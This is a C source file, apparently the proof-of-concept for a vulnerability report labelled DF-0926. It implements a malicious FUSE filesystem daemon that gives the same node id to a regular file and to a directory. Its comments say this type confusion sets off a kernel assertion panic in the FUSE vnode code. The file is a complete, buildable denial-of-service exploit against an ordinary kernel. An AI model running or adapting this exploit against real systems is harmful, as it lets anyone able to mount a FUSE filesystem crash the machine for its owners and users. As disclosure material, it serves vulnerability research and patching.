DF-0926 / fusedemo.c
/* * fusedemo.c - malicious FUSE daemon for DF-0926 PoC. * * - LOOKUP("baitfile") -> nodeid=100, mode=S_IFREG|0644 (creates a VREG node) * - MKDIR("crashdir") -> returns nodeid=100 with mode=S_IFDIR|0755 * (type confusion -> KKASSERT panic) * * Build: cc -o fusedemo fusedemo.c $(pkg-config fuse --cflags --libs) -D_FILE_OFFSET_BITS=64 */ #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> /* fixed nodeid reused across file and directory creates */ #define BAIT_INO 100 static int fs_getattr(const char *path, struct stat *st) { memset(st, 0, sizeof *st); if (strcmp(path, "/") == 0) { st->st_ino = 1; st->st_mode = S_IFDIR | 0755; st->st_nlink = 2; return 0; } if (strcmp(path, "/baitfile") == 0) { st->st_ino = BAIT_INO; st->st_mode = S_IFREG | 0644; st->st_nlink = 1; st->st_size = 0; return 0; } if (strcmp(path, "/crashdir") == 0) { /* The kernel will call fuse_alloc_node(BAIT_INO, VDIR) here. * It finds the existing VREG node -> mismatch -> KKASSERT panic * in fuse_set_attr (fuse_vnops.c:81). */ st->st_ino = BAIT_INO; st->st_mode = S_IFDIR | 0755; st->st_nlink = 2; return 0; } return -ENOENT; } static int fs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t off, struct fuse_file_info *fi) { (void)off; (void)fi; if (strcmp(path, "/") != 0) return -ENOENT; filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, "baitfile", NULL, 0); return 0; } static int fs_mkdir(const char *path, mode_t mode) { /* Returning success here triggers the kernel's fuse_alloc_node * + fuse_set_attr path on the conflicting type. */ (void)path; (void)mode; return 0; } static int fs_open(const char *path, struct fuse_file_info *fi) { (void)fi; if (strcmp(path, "/baitfile") != 0) return -ENOENT; return 0; } static int fs_read(const char *path, char *buf, size_t sz, off_t off, struct fuse_file_info *fi) { (void)path; (void)buf; (void)sz; (void)off; (void)fi; return 0; } static struct fuse_operations fs_ops = { .getattr = fs_getattr, .readdir = fs_readdir, .mkdir = fs_mkdir, .open = fs_open, .read = fs_read, }; int main(int argc, char **argv) { return fuse_main(argc, argv, &fs_ops, NULL); } |